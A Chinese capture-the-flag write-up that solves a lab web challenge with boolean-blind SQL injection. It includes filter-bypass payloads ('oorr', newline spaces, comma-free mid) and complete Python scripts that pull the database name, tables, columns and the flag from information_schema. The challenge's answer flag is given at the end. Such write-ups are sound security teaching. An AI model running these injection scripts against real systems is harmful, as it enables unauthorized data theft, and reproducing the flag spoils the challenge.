URL:http://ctf5.shiyanbar.com/web/earnest/index.php
解:
step①
打开得到如下界面:
输入1 ,显示 you are in ,输入其他的比如111都是显示not in ,猜测waf过滤了大部分符号,用burp suite的intruder功能进行模糊测试试一下,发现了有三种大小的返回数据包:
911:not in
908:in
802:提示SQL injection detected
step②
输入 1 ,显示in ,根据模糊测试观察in的语句,结合经验分析一下,可能后台过滤了or这个关键字但是只过滤了一遍,所以要验证一下:
① 输入 or 1 和 or1 以及 1or ,结果都是in;
② 将模糊测试的三个908语句 去掉 or 以及%20 ,提交结果还是 in
这就验证了猜想,的确是后台过滤了 or 和 or+空格,但是只过滤了一遍,所以下面有or的地方都要用oorr。
确定了注入点,那么接下来开始进行盲注,无非就是构造语句然后提交。
step③
上Python!!
① 先查一下数据库的长度试试,以下代码就是以json形式把id:内容post给服务器,然后匹配返回消息是否有you are in,匹配说明查询成功。
import requests #返回的成功提示为 You are in.....,因此str1需匹配 str1 = 'You are in' url = 'http://ctf5.shiyanbar.com/web/earnest/index.php' #假设数据名长度为30,循环30次 for i in range(1,30): key = {'id':"0'oorr(length(database())=%s)oorr'0"%i} #requests对象的get和post方法都会返回一个Response对象,data为json格式 #r 接收post返回的对象内容 r = requests.post(url, data=key).text print("第%s次尝试.."%i) if str1 in r: print('the length of database is %s'%i) break
② 数据库名字长度为18,查数据库名:
只知道长度,那就一位一位地猜,substr不能用,用mid也行
import requests guess = 'abcdefghijklmnopqrstuvwxyz_0123456789+=-*/\~{}?!:@#$&[]._' str1 = 'You are in' url = 'http://ctf5.shiyanbar.com/web/earnest/index.php' database = '' #1-18 for i in range(1,19): for j in guess: #该构造语句用到了mysql的语法技巧,mid(str,x,y)为对str从第x位开始取y位 #这里过滤了逗号,所以可以换成from i for j,作用一样 #简单的双层遍历一位一位地得到数据库名 key = {'id':"0'oorr(mid((database())from(%s)foorr(1))='%s')oorr'0"%(i,j)} r = requests.post(url, data=key).text print(key) if str1 in r: database += j print(j) break print(database)
果然出题者就是考察盲注。
step④
得到了数据库名,查表名,所以得先查长度:
import requests str = "You are in" url = "http://ctf5.shiyanbar.com/web/earnest/index.php" guess = "abcdefghijklmnopqrstuvwxyz0123456789~+=-*/\{}?!:@#$&[]." i = 1 print("start") while True: res = "0'oorr((select(mid(group_concat(table_name separatoorr '@')from(%s)foorr(1)))from(infoorrmation_schema.tables)where(table_schema)=database())='')oorr'0" %i res = res.replace(' ',chr(0x0a)) key = {'id':res} r = requests.post(url,data=key).text print(key) if str in r: print("length: %s"%i) break i+=1 print("end!")
表名长度为11,猜解表:
import requests str = "You are in" url = "http://ctf5.shiyanbar.com/web/earnest/index.php" guess = "abcdefghijklmnopqrstuvwxyz0123456789~+=-*/\{}?!:@#$&[]." table = "" print("start") for i in range(1,12): for j in guess: res = "0'oorr((select(mid(group_concat(table_name separatoorr '@')from(%s)foorr(1)))from(infoorrmation_schema.tables)where(table_schema)=database())='%s')oorr'0"%(i,j) res = res.replace(' ', chr(0x0a)) key = {'id':res} r = requests.post(url,data=key).text print(key) if str in r: table += j break print(table)
@ 符号使用来隔开的,所以一共两张表:fiag和users,猜想flag应该是在fiag表中了。
对着fiag表,来猜表的列宽:
import requests str = "You are in" url = "http://ctf5.shiyanbar.com/web/earnest/index.php" guess = "abcdefghijklmnopqrstuvwxyz0123456789~+=-*/\{}?!:@#$&[]." i = 1 print("start") while True: res = "0'oorr((select(mid(group_concat(column_name separatoorr '@')from(%s)foorr(1)))from(infoorrmation_schema.columns)where(table_name)='fiag')='')oorr'0"%i res = res.replace(' ',chr(0x0a)) key = {'id':res} r = requests.post(url,data=key).text print(i) if str in r: print("length: %s"%i) break i += 1 print("end!")
知道了列宽为6,但应该是5,因为第六个条件为空,来猜解列名:
import requests str = "You are in" url = "http://ctf5.shiyanbar.com/web/earnest/index.php" guess = "abcdefghijklmnopqrstuvwxyz0123456789~+=-*/\{}?!:@#$&[]." column = "" print("start") for i in range(1,6): for j in guess: res = "0'oorr((select(mid(group_concat(column_name separatoorr '@')from(%s)foorr(1)))from(infoorrmation_schema.columns)where(table_name)='fiag')='%s')oorr'0"%(i,j) res = res.replace(' ',chr(0x0a)) key = {'id':res} r = requests.post(url,data=key).text print("......%s.........%s........."%(i,j)) if str in r: column+=j break print(column) print("end!")
因此得到了fiag表的fl$4g这一列。
列都知道了,直接dump出内容即可:
import requests str = "You are in" url = "http://ctf5.shiyanbar.com/web/earnest/index.php" guess = "abcdefghijklmnopqrstuvwxyz0123456789~+=-*/\{}?!:@#$&[]." flag = "" print("start") for i in range(1,20): for j in guess: res = "0'oorr((select(mid((fl$4g)from(%s)foorr(1)))from(fiag))='%s')oorr'0"%(i,j) res = res.replace(' ',chr(0x0a)) key = {'id':res} r = requests.post(url,data=key).text 'print("........%s..........%s........"%(i,j))' if str in r: flag+=j print(flag) break print(flag) print("end!")
用 - 转义了空格,所以答案是: flag{haha~you win!}
本文为 Jason 原创文章,转载请注明来自 7vs10.com